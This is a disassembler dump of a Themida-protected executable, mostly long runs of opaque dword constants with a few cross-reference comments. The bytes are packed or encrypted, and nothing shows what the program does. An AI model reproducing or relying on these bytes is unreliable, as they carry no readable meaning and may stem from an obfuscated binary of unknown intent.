word_57DE8A	dw 8B60h		; DATA XREF: Themida_:0054B110o
		dd 3242474h, 7C8B3C76h,	0D68B2824h, 0F8C281h, 8B660000h
		dd 0B70F064Eh, 0F983C9h, 16840Fh, 7A3B0000h, 158F0F0Ch
		dd 83000000h, 428B28EAh, 144A8B0Ch, 0F82BC12Bh,	1C247C89h
		dd 8C261h, 4928C283h, 0FFCF850Fh, 0E9E9FFFFh, 0BAFFFFFFh
		dd 9FD3Eh, 10E8h, 706B1F00h, 0E7344F70h, 0A4C3C54Fh, 9EFC431Ch
		dd 38D0F19h, 66000000h,	0F85ACE8Bh, 6075C281h, 8B660000h
		dd 51C033DAh, 6CD68166h, 3C8B5EE9h, 815B5302h, 25E3A0F7h
		dd 0DF8B6664h, 0F7EEF781h, 0BF0F73C1h, 0D6C781DFh, 660DA195h
		dd 892C1BBEh, 30BE023Ch, 0E925B061h, 14h, 8D4503DAh, 7B21B7ABh
		dd 0A1EA9BC4h, 0EA3B4782h, 0D32C36C1h, 7139E881h, 0B70F3292h
		dd 35C081DFh, 66329271h, 8165FDBBh, 0FFA050F8h,	18850FFFh
		dd 0F000000h, 883h, 28A0F00h, 8B000000h, 28E9DEh, 0F27D0000h
		dd 0E9722AE0h, 13h, 0AE781EABh,	475945C7h, 98B16A18h, 563420D6h
		dd 0E9952AD5h, 0FFFFFF6Ah, 0E0D0DE1Ch, 61E977D8h, 48000001h
		dd 0E77FB676h, 93DA95ECh, 0DF067158h, 0FDBEB6CFh, 36365D54h
		dd 0BCECA4h, 52C55DD5h,	0A4D676D3h, 4100FC94h, 50C1AEC4h
		dd 325277CBh, 9CACACh, 0FC6C46BFh, 597390ADh, 75D6A336h
		dd 0BD9C72E2h, 93DD0090h, 0A79B8CE6h, 0DD64A592h, 9792A7ABh
		dd 0FC7A918Fh, 96B9F95Ch, 0B59BB1E4h, 0B69F47E4h, 94B6E592h
		dd 0B59EBDF6h, 0EC96B3EBh, 999C93D0h, 0FD7B97BFh, 9389F55Ch
		dd 0EDAFF4h, 0A6E3B2CDh, 0B5D4E594h, 445700C3h,	0B0F3622Dh
		dd 38AE29h, 3C0000h, 400000h, 2	dup(0)
		dd 40000h, 940000h, 50000h, 10000h, 0A280000h, 20000h
		dd 2Ah dup(0)
		dd 1ECDE9h, 57586800h, 0DCE90617h, 68FFFD28h, 617586Ch
		dd 0FD28D2E9h, 592868FFh, 0C8E90617h, 68FFFD28h, 6175A07h
		dd 0FD28BEE9h, 5AD368FFh, 0B4E90617h, 68FFFD28h, 6175B91h
		dd 0FD28AAE9h, 5C5768FFh, 0A0E90617h, 68FFFD28h, 6175CF8h
		dd 0FD2896E9h, 605168FFh, 8CE90617h, 68FFFD28h,	61760C0h
		dd 0FD2882E9h, 61DB68FFh, 78E90617h, 68FFFD28h,	61764FEh
		dd 0FD286EE9h, 683768FFh, 64E90617h, 68FFFD28h,	6176BA4h
		dd 0FD285AE9h, 6D5E68FFh, 50E90617h, 68FFFD28h,	6176DC4h
		dd 0FD2846E9h, 6E3368FFh, 3CE90617h, 68FFFD28h,	6176E88h
		dd 0FD2832E9h, 701168FFh, 28E90617h, 68FFFD28h,	61770FEh
		dd 0FD281EE9h, 72B568FFh, 14E90617h, 1EFFFD28h,	0D2AF01BEh
		dd 8D6ABC01h, 47247645h, 0FCD92B8Eh, 5790E2DBh,	35884F61h
		dd 0EECB06E3h, 0A619BF9Ch, 5C5F7754h, 7076FE0Ah, 58093D8Ah
		dd 123CA39Eh, 0E2AFF7C4h, 339DCCF1h, 0B90BB026h, 77BF6FDDh
		dd 48902DAAh, 0F1E85C42h, 19487051h, 59744B13h,	0A8708A4Eh
		dd 20E9C191h, 21B9FB29h, 8F1BAEF2h, 3A0757E5h, 1F772398h
		dd 468F6CF0h, 0E92FDB73h, 58066E07h, 3952F012h,	0F8D9682Ch
		dd 35D2h, 0A513E900h, 0F1E4B1F9h, 77C41CC8h, 5CB4605Bh
		dd 5E21272Dh, 0AA57E503h, 6BA2BAD3h, 3665D2C7h,	98DE8AB2h
		dd 580678B6h, 0E8E39FC1h, 0F8D9607Dh, 0CF81h, 0C4129800h
		dd 62F78138h, 33CB9E3Fh, 605D7A87h, 8C2FA7B4h, 0B803D3E0h
		dd 3E2B5066h, 643B51F2h, 0E7535D72h, 4B5685EBh,	5F5A7B8Bh
		dd 0D59D75C7h, 0F22DE9CFh, 1F25FD51h, 51F22E39h, 408D254Dh
		dd 257D2992h, 0D0EBEBF6h, 6AA1824h, 477DB8BEh, 0DCA957E5h
		dd 141701F9h, 64F444F2h, 0F1199DCCh, 0C5F6DCA9h, 0B6625B78h
		dd 431F2F5Eh, 19E129D5h, 0AB318A4Ch, 580652C5h,	7C82B1D9h
		dd 0FB294A76h, 6AB2DA5Dh, 31833A9Dh, 5C3A8354h,	389125EEh
		dd 14A3B19Bh, 6A00001Ch, 1EFB4D72h, 0D9B608B5h,	9370C2F9h
		dd 48257742h, 0A3DC2E8Fh, 813C9B15h, 3A7F522Fh,	0F2CD0BE8h
		dd 0A813C3A0h, 0BCC24A56h, 58093ED6h, 1288EFEAh, 0C9A6F8C5h
		dd 0A35CAE0Dh, 97014017h, 7A0BEEE2h, 2BD3414Bh,	0E81ADDE3h
		dd 0C0E857E5h, 0E7ECCE14h, 0D5F75806h, 0CCAD84B5h, 0C5AF9595h
		dd 0D9E2F441h, 3AA6D52Dh, 0F8D8552Bh, 76AD5C33h, 5A89D8Eh
		dd 0FC70D6h, 9B680000h,	81D98538h, 4F176B52h, 0BF6B5082h
		dd 0E7FBE167h, 0E70F51F1h, 9229ADB8h, 0BFFED9E6h, 0EBA8CD13h
		dd 0EBB851F1h, 1B28D4E7h, 0FC5400BBh, 0AC2A3564h, 428F795Ah
		dd 0FF47DF77h, 0EC4B3137h, 825F51F1h, 0A3D26A4Fh, 0BDE4BB93h
		dd 0E58E8E17h, 0FED8E312h, 970511BDh, 5E999FE7h, 8A57E57Eh
		dd 0DE3D0FB3h, 0E2111571h, 9A80865Eh, 0AE5806BAh, 21B900D1h
		dd 925F3789h, 74CC7845h, 21CD3B45h, 8EB8D3D9h, 0FE265DFBh
		dd 1AEEE9B6h, 176901BEh, 42209D3Ah, 3890C112h, 93A18Bh
		dd 7E00001Bh, 320F615Eh, 0EDCA1CA1h, 0A784D6E5h, 5C398B2Eh
		dd 0B7F0427Bh, 9528AF01h, 4E6B6643h, 6B91FFCh, 0BCFFD7B4h
		dd 0D0D65E6Ah, 58093FEAh, 129C03FEh, 0C9A6F8C5h, 0C623EF0Dh
		dd 0FBC63C2h, 0F23B2309h, 770F3751h, 51C097DFh,	0A1433260h
		dd 0C8A0B0DFh, 3EA3A3F1h, 1E6B47D7h, 25A06B3h, 0C412ECD3h
		dd 983E4BF7h, 57B3D123h, 4C943CAAh, 0E501FB46h,	0A1C957h
		dd 9391BEACh, 32DE4CF2h, 0A2BDE4EAh, 2B531A87h,	5905737Fh
		dd 5D434911h, 711AA883h, 0E141A49h, 209BBE19h, 876D734Bh
		dd 9B20BCBEh, 0C693DB73h, 9663AB10h, 3E4E7D42h,	68467561h
		dd 75F170F6h, 44C3D1BBh, 3A00001Ah, 0EECB1DA2h,	0A986D8E5h
		dd 63409229h, 18F54772h, 73ACFEBFh, 516C6B45h, 0AAF22FFh
		dd 0C2FDDBB8h, 78439370h, 8C921A26h, 580940A6h,	1758BFBAh
		dd 4F55B640h, 2655BBCFh, 5400BB1Bh, 0EE36DA48h,	0E62585E8h
		dd 196B9357h, 23FAA3FBh, 5DC0EE61h, 0ACB6E521h,	444A923Eh
		dd 5DF9C2F9h, 0A1B3E0C7h, 3802A894h, 32ABFFA0h,	0D6A56929h
		dd 0A76AF968h, 54C17C87h, 620060Ch, 0C3425CCh, 97642C74h
		dd 7CD4803Bh, 0E615A82Fh, 0BF367BA2h, 7AB88F2Bh, 5BF0FB41h
		dd 25FD81B0h, 0E06B391Fh, 8D254D2Bh, 0B11D9E1h,	2BE06B25h
		dd 0D8E21139h, 787EC66Ah, 31D3A583h, 78458DB5h,	4D155D5Eh
		dd 0F4A66147h, 4D7531h,	0A8B8E7D8h, 0EBCE03D0h,	0ADB8E73Fh
		dd 0B4B49229h, 1164B989h, 19651927h, 0C3190000h, 6CDAAFCh
		dd 4A8865B7h, 93421F71h, 0E0F7D426h, 66528BDDh,	0DE308D4Ah
		dd 97E9D001h, 4FA11EBAh, 5576472h, 856B71F9h, 99580942h
		dd 0C412379Eh, 0D13F4BF7h, 0CDFE52Dh, 0FA57E519h, 0FB6280D2h
		dd 9CA2FE6Ch, 5805F8B6h, 0C20AA2CAh, 97A4B6EBh,	92C1D823h
		dd 0F6FCC48Ch, 58061F10h, 1EB69CA2h, 0A2CA5806h, 4185B4DCh
		dd 5DF938F6h, 0E5FB9CC4h, 3A31171Dh, 1D455E1Ah,	1176AAEEh
		dd 0D7A4D881h, 828CBBFEh, 1E246C14h, 0B622F7h, 0ADB9658Dh
		dd 0F3D9DF3Fh, 700D702h, 343292Fh, 2F5700D7h, 0B1B7FF97h
		dd 6CA3DBCh, 0B17EC6EEh, 0BFC6D725h, 20CD809Fh,	915E3688h
		dd 3F4A7940h, 2C462497h, 0AD8FC29Bh, 1899B5C3h,	0F7E50000h
		dd 3A9976C8h, 7E543183h, 0C70EEB3Dh, 14C3A0F2h,	9A1E57A9h
		dd 0AAFCC116h, 63B504CDh, 1B6D5286h, 0D123983Eh, 51373DC5h
		dd 65580942h, 0C412036Ah, 0D13F4BF7h, 0A8DFE52Dh, 0DC57E503h
		dd 4280E14h, 553C5806h,	836C95B5h, 5C8B23FCh, 0A068B0D8h
		dd 6AAB49Ah, 71A0C858h,	49D84361h, 23EB33DBh, 933F7C56h
		dd 7DC80C3Bh, 4B5DF9C4h, 522E8223h, 0BCBB5B9Ah,	545AA24Eh
		dd 6150AB2Dh, 0E3EF9BC3h, 0E6421975h, 0B30C83E4h, 1A30169Ch
		dd 1C446171h, 41363C84h, 73676455h, 0A036034Bh,	0CF07EE5Ch
		dd 1016E15Eh, 6785A62Ah, 0E67E163Eh, 9C1FB794h,	2889BEBEh
		dd 37452F2Fh, 17DBh, 348639A3h,	0EF417C57h, 0A9FBC012h
		dd 5EB009CCh, 15675681h, 3D4DCDCh, 468B68BAh, 94442173h
		dd 0DAFCD92Bh, 0FB838FE1h, 9430FF5h, 0C1282358h, 2F8C4A17h
		dd 0F1FC2B83h, 1E2AD6E5h, 0EBB800B0h, 0CC24D0EBh, 1291979Dh
		dd 4857E532h, 58B0CE20h, 49913DABh, 0F92AF843h,	0FD9EC65Dh
		dd 0E14406A9h, 904512D1h, 82F0FA29h, 2342282Eh,	2E56F1E3h
		dd 0AF864E96h, 488E97DDh, 49411C73h, 0C7EE3261h, 5DF7D640h
		dd 0B220ED35h, 6470DA09h, 0CA3E95F6h, 0AD05B10Eh, 2F357D15h
		dd 0FDEA5C3Ah, 34FC446Ch, 204F6A67h, 0A3BC115h,	0EF4FA15h
		dd 22FE0BDAh, 0BCA5A3FAh, 7C59AB43h, 383615Ah, 0FE98A2C4h
		dd 17150614h, 73690000h, 0B61DFA4Ch, 0FAD8B507h, 43926FC1h
		dd 90472476h, 16A2DB2Dh, 2E803D9Ah, 0E7398051h,	9FF1CE0Ah
		dd 55A714C2h, 0D5BBC149h, 0E9580943h, 0C41287EEh, 0D13F4BF7h
		dd 72DFE52Dh, 8457E65Bh, 173D145Ch, 0C8DEA48h, 2BF8FE2Dh
		dd 0A8BE10ABh, 5809C532h, 0BB1673E0h, 62FA52FEh, 37864D1Ah
		dd 0BB1BF808h, 0E8EBB800h, 0A2D129D5h, 9848B692h, 37DD4A50h
		dd 0C7EF5DFEh, 9C21B27Fh, 6B4E8754h, 844F2C3Ch,	0AE858D39h
		dd 0E26527FCh, 0A1317EBDh, 0E7166E1Ah, 0E3C1FADCh, 388CB4ADh
		dd 74707E68h, 0A000016h, 0BE9BEDD2h, 7956A815h,	33106259h
		dd 0E8C517A2h, 437CCEEFh, 219C3B75h, 0DADFF2CFh, 922DAB88h
		dd 48736340h, 5C62EAF6h, 58094476h, 13288F8Ah, 0A8CE3AA5h
		dd 7B235DABh, 28959BE3h
		dd 3A57E65Dh, 0D9FDCA12h, 47B490E2h, 57494F97h,	8358093Eh
		dd 8669AF5Bh, 0D58093Eh, 3A47F3CAh, 0A0F1619Dh,	0C61A5ED0h
		dd 486C822Eh, 0BEE0A70Ah, 0F45E079Ch, 4EA0F8D5h, 0B7000000h
		dd 4248A613h, 51F1E85Ch, 68B04870h, 88BC9A0h, 576870h
		dd 0F625229Dh, 0F2A4B8B2h, 10BCE451h, 6D9D3B08h, 90BF5766h
		dd 0F2A56A4Ch, 37537551h, 0ED30C99Ch, 1335FEh, 0D94C0000h
		dd 51F1E7F6h, 1860107Eh, 0E5081712h, 0CB1D4557h, 3AA51312h
		dd 0FFF18E70h, 0C911A93Eh, 4D333901h, 6151F2A8h, 0A7CDB339h
		dd 0B9E151F2h, 2F7E848Ah, 557E5F1h, 5C2931DDh, 75449177h
		dd 33A3AEDDh, 14A475C9h, 10A8DB38h, 11F5E1BEh, 0F149F5C4h
		dd 37A0AD59h, 6CDDA86h,	4FE7D402h, 803D96A3h, 9EBCA0D4h
		dd 764D651Bh, 2A518290h, 3587B678h, 0C4F7DF15h,	7A419572h
		dd 0AC54C2CEh, 28A35E64h, 6A515DF9h, 0DA107333h, 0E032CA05h
		dd 3CE8D303h, 0EF72F1F6h, 0A415BC35h, 0D0EBEBF8h, 84AAE24h
		dd 0F38FF3A9h, 0CC1E9D39h, 40262CF4h, 54D65173h, 0E4F2FD2Ch
		dd 56232BD7h, 5103F7Ch,	0E83DE9D0h, 0AA11C592h,	0DBE2F1FEh
		dd 80C21443h, 0FF516A6Ch, 5B07B422h, 0F53DE14Fh, 600CAD28h
		dd 0CDD3D908h, 0DC448BEAh, 52BD1BF8h, 658C664Ch, 0BA527ADCh
		dd 0CC1EB60Eh, 28D4E7EFh, 5703B61Bh, 27DD7DE1h,	0E2BA0CAFh
		dd 0CFFEBD15h, 0FDA912C4h, 93DB83F1h, 261F45BCh, 406F6B53h
		dd 1045343Ah, 335BE258h, 0E9D204E1h, 0B75E353Dh, 37958CCFh
		dd 1E7ED35h, 15E279D1h,	987ABEEDh, 0F6D279D0h, 1ABC7012h
		dd 66724FA1h, 37A0AD59h, 4CDDA86h, 0D7FC09B5h, 243AE6h
		dd 22B5A042h, 14F28C8Eh, 2466CA7Ch, 328B4815h, 0DFE0F803h
		dd 0E728B08Dh, 79B9FBE1h, 4FE70FF2h, 0CA3F96A3h, 38E4DBFDh
		dd 0BA745AE0h, 6088F279h, 42A61CC8h, 381AF100h,	60E2F968h
		dd 54848FBEh, 7441196Bh, 242F5E5Fh, 535F0BB4h, 0EBF139E5h
		dd 0F86C6F9Ch, 0AE949A72h, 0C2F88D4Fh, 4956029Ah, 0E7CB7288h
		dd 8A0E6A18h, 983946F2h, 3B5F7521h, 0CBF2E51Fh,	9A2FC71Fh
		dd 36A25AF8h, 7C5A3789h, 5086933Fh, 0E94DBF6Bh,	0C84393A9h
		dd 8DC8DCC2h, 30C8F0F8h, 10C5A0DEh, 2B395852h, 50000000h
		dd 4DF9C612h, 0E32BD341h, 0A9DB441Bh, 39CECEACh, 438B239Ah
		dd 0F206573Dh, 14436B51h, 0E552ADD0h, 0C1133B57h, 1BE3h
		dd 0C6123A00h, 3BDAB1F9h, 2978F82Bh, 939F0938h,	2B317925h
		dd 57E5FE40h, 1BD4264Eh, 2F8C4A17h, 0B0FC2B83h,	913DAB58h
		dd 1F84349h, 9EC657E5h,	39C3A9FDh, 8D55AA56h, 0B919A187h
		dd 5E8DB54Ch, 127BE654h, 9810D3E7h, 0E8B0F890h,	5400BB1Bh
		dd 0C66F3B3Dh, 0B74FE8F3h, 611D4488h, 0DBB352ACh, 0CD41EFD5h
		dd 43DB0352h, 711D8B97h, 7D2E2329h, 386058C0h, 8B323F0h
		dd 0BEFDD9B6h, 0CCB3BAE0h, 77856F3Dh, 131Bh, 0F4467963h
		dd 0AF01BC17h, 69BB00D2h, 1E70498Ch, 0D5279641h, 43941C9Ch
		dd 864B287Ah, 0D404E133h, 1ABC99EBh, 0BB434FA1h, 947CFB5h
		dd 81E8E358h, 0F1E8F3D9h, 6B138151h, 3F7C5623h,	69040A10h
		dd 0D757E51Bh, 3E9A67AFh, 6B20BCCh, 0E7C416AEh,	0BE86CEF1h
		dd 5FAD2B8h, 0C809E658h, 0C02A59F1h, 0BA9823B3h, 3EA834EAh
		dd 0AC5B6953h, 0D2000012h, 8663B50Ah, 411E704Dh, 0FBD82A91h
		dd 0B08DDFDAh, 0B449627h, 0E9D403ADh, 0A217BA97h, 5A657350h
		dd 10AB2B08h, 242AB2BEh, 5809483Eh, 13F05752h, 0ABB1F9A5h
		dd 57E51A10h, 410E567Eh, 0FCD92B92h, 0D19EE6D7h, 0B20AB605h
		dd 0CA0C1983h, 0CACF6A41h, 741154ACh, 6D808EEh,	5CF41C58h
		dd 99B95BB0h, 7F3A9B68h, 2F8E4550h, 0CF4EBFDDh,	19BFF867h
		dd 271F8F38h, 0D370478Fh, 3E83148Dh, 7A95F423h,	72B86459h
		dd 5806DC8Fh, 6078451Dh, 0BCDE305Fh, 20724B88h,	812D9043h
		dd 0F570775h, 0FC7C7B38h, 79D68015h, 5BA2F9E5h,	9623B299h
		dd 0CBFA92EAh, 0A372BFC5h, 1C445DFAh, 0F0CB07D4h, 5D8C2FA3h
		dd 6F4C8A57h, 5A78451Dh, 2E5DB561h, 5C08B323h, 0F63EE250h
		dd 11F826F0h, 82CAF264h, 489A21B5h, 2B069970h, 7DD4EBEDh
		dd 2A72C62Eh, 34893E24h, 0FB2A5264h, 0B720E6F0h, 59266E06h
		dd 0A50F3E7Dh, 3B832B99h, 27B1D635h, 0E4EFCC6Ah, 4B6341D9h
		dd 62C659Dh, 11910E1Ch,	0EFED0000h, 32A17ED0h, 765C398Bh
		dd 0BF16F345h, 0CCBA8FAh, 92265FB1h, 0B204B91Eh, 6BBDFCD5h
		dd 23754A8Eh, 0D92B9046h, 593F45CDh, 6D580949h,	4A170B72h
		dd 0C0043388h, 51F1E7C1h, 1C1A9E75h, 1CA084E7h,	0C9F6E2EDh
		dd 1D29F77h, 89B810BCh,	256D117Fh, 0E69C5D1Fh, 0B9012957h
		dd 689E1AF1h, 1DB69F5Bh, 88B708D0h, 1466557Dh, 0E5B4B15Bh
		dd 0DDAAFF6Dh, 0C018C4FBh, 1432B91h, 13420000h,	17D5FEA8h
		dd 0F1E82E11h, 0FD2C5151h, 5B765E6Bh, 1749720Ah, 768BCB6Eh
		dd 0E7C2A8AEh, 0AED651F1h, 1A497061h, 0FCAA1333h, 13ED94D3h
		dd 17D2FBABh, 332874Ah,	4A17ADA4h, 2F873388h, 0E5E19400h
		dd 433D01EDh, 35000000h, 67379A5Eh, 1C4B65B5h, 0FCAA1335h
		dd 2E1117D3h, 0BA51F1E8h, 2BD7E6EDh, 0F820A4D3h, 0FCE2E8B0h
		dd 1051F1E7h, 17D2B9E8h, 6653824Fh, 0C0125037h,	61758F46h
		dd 0BE56AE5Ah, 6910FD26h, 2611h, 0AA136800h, 4017D3FCh
		dd 0D07A37E9h, 0EB40110Eh, 646C44A1h, 91979DCCh, 51F2AAAEh
		dd 17426BD1h, 0FBC0126Eh, 176910D2h, 942DF340h,	0E3D9CADh
		dd 0ED81D3A2h, 284B01h,	13620000h, 17D2FBABh, 0F1E82E11h
		dd 795F3C51h, 1785AE46h, 2020784Fh, 0BF0B61C1h,	0C112A990h
		dd 6910D3FCh, 5211h, 40176800h,	8610DD77h, 0E5EF1EA8h
		dd 51BA187Dh, 0F21F654Bh, 0B9517951h, 4A17F821h, 2F873388h
		dd 1DC9F6E2h, 8A9096C5h, 51F1E7A7h, 0EAE7B4CAh,	45CB23CFh
		dd 51F1E85Fh, 0DD3ECECh, 17244DE5h, 534894Ah, 0C11256FFh
		dd 4A10D3FCh, 0BA66557Dh, 114C3362h, 0FFFFFEADh, 0F9A51368h
		dd 0A412E9B1h, 79448FAEh, 9C100C22h, 4ABC296Dh,	0F6CE57E7h
		dd 0A2C0AF0h, 5EF61E58h, 2E8D4916h, 0EB9300DCh,	2BB79DA3h
		dd 7249580Ah, 0B8D99E08h, 85093810h, 39C2E89Eh,	6672DA89h
		dd 7D29C159h, 0A213F37h, 0CAF3E058h, 0F6C5111Eh, 0D270D44Ah
		dd 0A4E608CFh, 0B009C895h, 0B4501581h, 410EF8D5h, 21792594h
		dd 0DB902D4h, 532086B5h, 18000000h, 2F8A4Bh, 0E7F7D919h
		dd 5A7C51F1h, 6A370F61h, 84399A6Ch, 3CE880D8h, 8E71B5E4h
		dd 1651F1E7h, 2A9543A8h, 567D4A92h, 735A92A8h, 0AE464F66h
		dd 1B4A7161h, 0B80C0F15h, 7D5A57E5h, 0A3BA6655h, 0E8DEB20Fh
		dd 93E07821h, 92E47C3Fh, 0D0B4h, 0A5130B00h, 0F8ABB1F9h
		dd 0A657E502h, 6F69367Eh, 0B721FE50h, 0E2505C08h, 2A2888Eh
		dd 0D9B65806h, 8E26BEFDh, 27056F46h, 1E399EDCh,	87B605D1h
		dd 72367B81h, 0E0085DFAh, 0E4CAD098h, 0F85E1D52h, 0CE9BA1D0h
		dd 0A038050Ah, 951B731Fh, 5E1D52AFh, 4D539BC3h,	5E1D5367h
		dd 73BB537Bh, 8351A29Ch, 0E9187B88h, 0E3DCFCD9h, 61672F37h
		dd 5E1D6F7Bh, 0B2EBA88Fh, 1123B14Ch, 0D2404A79h, 3E0E62Eh
		dd 0F564115Ah, 1EB885CDh, 686E4B9Dh, 39B79DA3h,	0A3CB6434h
		dd 0F68B2D0Bh, 0F0DA3279h, 0E6EE2h, 0F3CC1000h,	0AE0FC4A1h
		dd 68537F5Ch, 1D9C3916h, 0D4E9EECBh, 416F4982h,	0F8D52796h
		dd 0B18EE0D9h, 69469827h, 0F0FC4E6Dh, 4C7C6268h, 95905809h
		dd 8B4A172Eh, 0E2F4FF2Eh
		dd 0B6202DD9h, 0CFE75905h, 0E81B0107h, 72F51F1h, 30C486D8h
		dd 85C315A6h, 0FEEDEDE0h, 9920B17Eh, 29046Ah, 131B0000h
		dd 0ABB1F9A5h, 57E51884h, 3946F21Ah, 0EFCC1E9Dh, 0BF8CD4E7h
		dd 0A5FDA914h, 92000C76h, 0EDA0A6EEh, 9B5DF913h, 17682173h
		dd 332874Ah, 9AE2DBF8h,	0E7E6CCD2h, 0D2FA51F1h,	406F4E85h
		dd 3D805330h, 0E84E4B91h, 0DFF951F1h, 0E8442A30h, 5D151F1h
		dd 30C8F0B6h, 0DC2F06DEh, 7E1B8583h, 0E7C86B5h,	35141A62h
		dd 0A957E675h, 18724BD2h, 4465F28Ch, 8A85DC65h,	73F72677h
		dd 0D5C3348Ch, 18B03D30h, 0ECCF03D0h, 0B4B1E19Ah, 4AFF6DE5h
		dd 13Eh, 49A81361h, 6E972F8Eh, 0E82E1117h, 0E3BA51F1h
		dd 0EE001421h, 1887B64Ch, 6E1789B2h, 13958BCBh,	17D3FCAAh
		dd 0E863494Fh, 4F7751F1h, 13F09720h, 5F454BABh,	7351F1E8h
		dd 0BE8AB34Bh, 0E5C4B1C7h, 2A5A01EDh, 71000000h, 0D3FCAA13h
		dd 0E82E1117h, 143C51F1h, 126E17EBh, 0E6B3FBC0h, 96D80FEBh
		dd 3D9B6309h, 72A1F9A5h, 1169108Bh, 4Ch, 494F1768h, 51F1E863h
		dd 16204F77h
dword_57F248	dd 0E8B5FDADh, 0D24D0E9h, 54B9A168h, 0D3CD47Ah,	894A1726h
					; DATA XREF: Themida_:0054AF08o
		dd 1308834h, 0E812F5FBh, 0C79E51F1h, 65F7BD1Eh,	6C518633h
		dd 0A1D068C0h, 17A3CC32h, 0FBC0126Eh, 0D81FDCB3h, 5163B1E0h
		dd 69103B22h, 2BD14017h, 0F9A516BCh, 0C9C04AA1h, 0B0C53160h
		dd 6E01EDCFh, 3Bh, 7D948F66h, 0CB63E04Dh, 0AF07B306h, 0B308CA17h
		dd 0AB139D84h, 1117D2FBh, 51F1E82Eh, 17EB143Ch,	874A176Eh
		dd 0FF2E8632h, 96DEDFF4h, 3AF0EC9h, 10957CABh, 2A1169h
		dd 13680000h, 5F454BABh, 7351F1E8h, 178AB34Bh, 0F1E82E11h
		dd 0E6EDBA51h, 0D339A8D7h, 8D4A17AAh, 0FD2C8430h, 0C1124EF7h
		dd 6910D3FCh, 0FFFEB911h, 0A51368FFh, 3EABB1F9h, 5057E65Bh
		dd 0C313E028h, 8BD9B0F8h, 896F75F0h, 9D580977h,	48C1E75h
		dd 0F9D5E514h, 4A30368Ch, 5E5809C3h, 0CD655481h, 1E7ED35h
		dd 155809C3h, 3FB41EDh,	0A45809C3h, 0F2D8DE2Fh,	65809C2h
		dd 8D9A46DEh, 0A613BE4Ah, 8355620Eh, 0E238903Ch, 561D9CBEh
		dd 9722B380h, 5F741668h, 0F8D61306h, 0A48A9058h, 0B85809CAh
		dd 35FE74D1h, 2EC65D6Ah, 1599FFh, 0D9B00000h, 51F1E7F7h
		dd 9D1EB481h, 4873636Eh, 0AC18F6h, 136F0000h, 0ABB1F9A5h
		dd 57E50974h, 0EDBA022Ah, 0A582D4EBh, 0CFFD733h, 60A2006h
		dd 740C3458h, 0B62430DCh, 63BCC20Ah, 0CB5DFA7Dh, 5FD88EF4h
		dd 4978EDE8h, 88559DC5h, 401D6F50h, 12DF2798h, 0F74FFBC0h
		dd 0E4525EC8h, 0AF27F43Ch, 0D1D7DD0Ch, 641195F4h, 803B9764h
		dd 0C94D7CD4h, 2AD6E7ECh, 25F23AD2h, 0DBB80AB1h, 3DCD0BFBh
		dd 227A2695h, 0AE14F28Ah, 0CB3279BAh, 0B35D3E1h, 93490000h
		dd 0D6FDDA2Ch, 1AB895E7h, 63724FA1h, 0B0270456h, 3682BB0Dh
		dd 0E605D7Ah, 0C719A031h, 7FD1EEEAh, 358734A2h,	0B59BA129h
		dd 0C958094Fh, 0C41267CEh, 983E4BF7h, 0D13DB23h, 51F1E827h
		dd 7AE4133Bh, 4EE6A408h, 0BDCB7488h, 99BE91Ch, 755C2971h
		dd 0CA76498Fh, 0D62EDA72h, 0C5997A7h, 0F2FEEDA4h, 2Ch
		dd 0F9A51309h, 0BA1CE9B1h, 9830894Ch, 216594ECh, 57E5110Eh
		dd 9BA8547Ch, 512E803Bh, 7E8A3685h, 12186010h, 5DF912DBh
		dd 5E176991h, 7B784F17h, 2E677CB0h, 0F4DBC147h,	0C7EF51F1h
		dd 77468D98h, 68764D25h, 7D4093E0h, 0F92279D1h,	0DABA4A52h
		dd 0CC915457h, 0C2C10534h, 7651F238h, 0E38F2EA9h, 87515C8Bh
		dd 0D019F038h, 7EF11D1h, 0DEBACAF9h, 0F0CB0B70h, 0C54EC44h
		dd 0E7341C06h, 0B8002857h, 56DA19F0h, 6A5B4A17h, 19A2303Bh
		dd 0B4B10EC7h, 4AFF6DE5h, 16Fh,	4EA81361h, 0F1E86248h
		dd 0B64E7651h, 1440178Dh, 9E0AEDB8h, 5B616796h,	51F23578h
		dd 170C359Bh, 6BC1784Fh, 0BD14A52Ch, 6236Ah, 51F2E61Ah
		dd 3F6E062Eh, 958BCB58h, 0D3FCAA13h, 4A17ED94h,	92787E8Bh
		dd 0A651F1E7h, 3F99E67Eh, 0DF475180h, 571FE72Fh, 0F1E86B51h
		dd 0D1577F51h, 51F1E7EBh, 0C1A8D7FFh, 0C4B1C7BEh, 0BA01EDE5h
		dd 0E806ECF2h, 0F21A54F1h, 575DC3h, 7E550000h, 0B650D3B3h
		dd 31CF6F84h, 0E79BCB16h, 1339204Fh, 0DDB4FCAAh, 5B5CEA85h
		dd 0C5ACDB62h, 0E82E1117h, 143C51F1h, 6C7FF5CCh, 1B60CE72h
		dd 4B1609D7h, 0A0CF675Fh, 176E17B9h, 0FAA7640h,	0C3BC1A5h
		dd 0A2EAD101h, 850DE4CBh, 1847F369h, 11691031h,	28h, 0FCAA1368h
		dd 2E1117D3h, 5151F1E8h, 6E17C2EBh, 0B3FBC012h,	0E7FFE5EBh
		dd 3B1351F1h, 0F1E84F35h, 0A33B6351h, 69108D74h, 0EDE5C4B1h
		dd 3D5A01h, 13710000h, 17D2FBABh, 0F1E82E11h, 0EAEDBA51h
		dd 6F4C86D3h, 0B83C6BC3h, 0B8804890h, 0F1E7CCB2h, 32B8E051h
		dd 51F1E84Ch, 22093860h, 2F8C4A17h, 1251FA00h, 10D3FCC1h
		dd 221169h, 17680000h, 8834894Ah, 8FF70130h, 4A17B6DFh
		dd 0FB01308Dh, 0F1E812F5h, 0A6CF3551h, 0C1126E17h, 6910D3FCh
		dd 39FF4017h, 5D1B4588h, 0FE88222Eh, 1779FFFFh,	0E863494Fh
		dd 4F7751F1h, 48A81620h, 0E7947A80h, 80A851F1h,	0F1E814FAh
		dd 68002851h, 5BAD1A20h, 0E2BF57E6h, 0E931C9F6h, 0AF01BA1Ch
		dd 70B866D3h, 0C1FCDBA8h, 21070D15h, 3558093Dh,	246750Dh
		dd 58093D1Ch, 165C0830h, 58093D1Eh, 31A26F45h, 4F0B5D8Ch
		dd 0D6991154h, 10EDF8h,	0D9040000h, 51F1E7F7h, 0F615A7Ch
		dd 0C231h, 0A5138800h, 44ABB1F9h, 5A57E5EEh, 0EE967C82h
		dd 82AA5805h, 3D5A2EAh,	31A774BCh, 0D4DAE28Eh, 5805EEEEh
		dd 1342DA02h, 5DB22603h, 5EF7157h, 0C55D8558h, 0EF9F0D19h
		dd 6244A1A7h, 0E365DFAh, 0E0DFF9C6h, 9827B18Eh,	1E72E0ECh
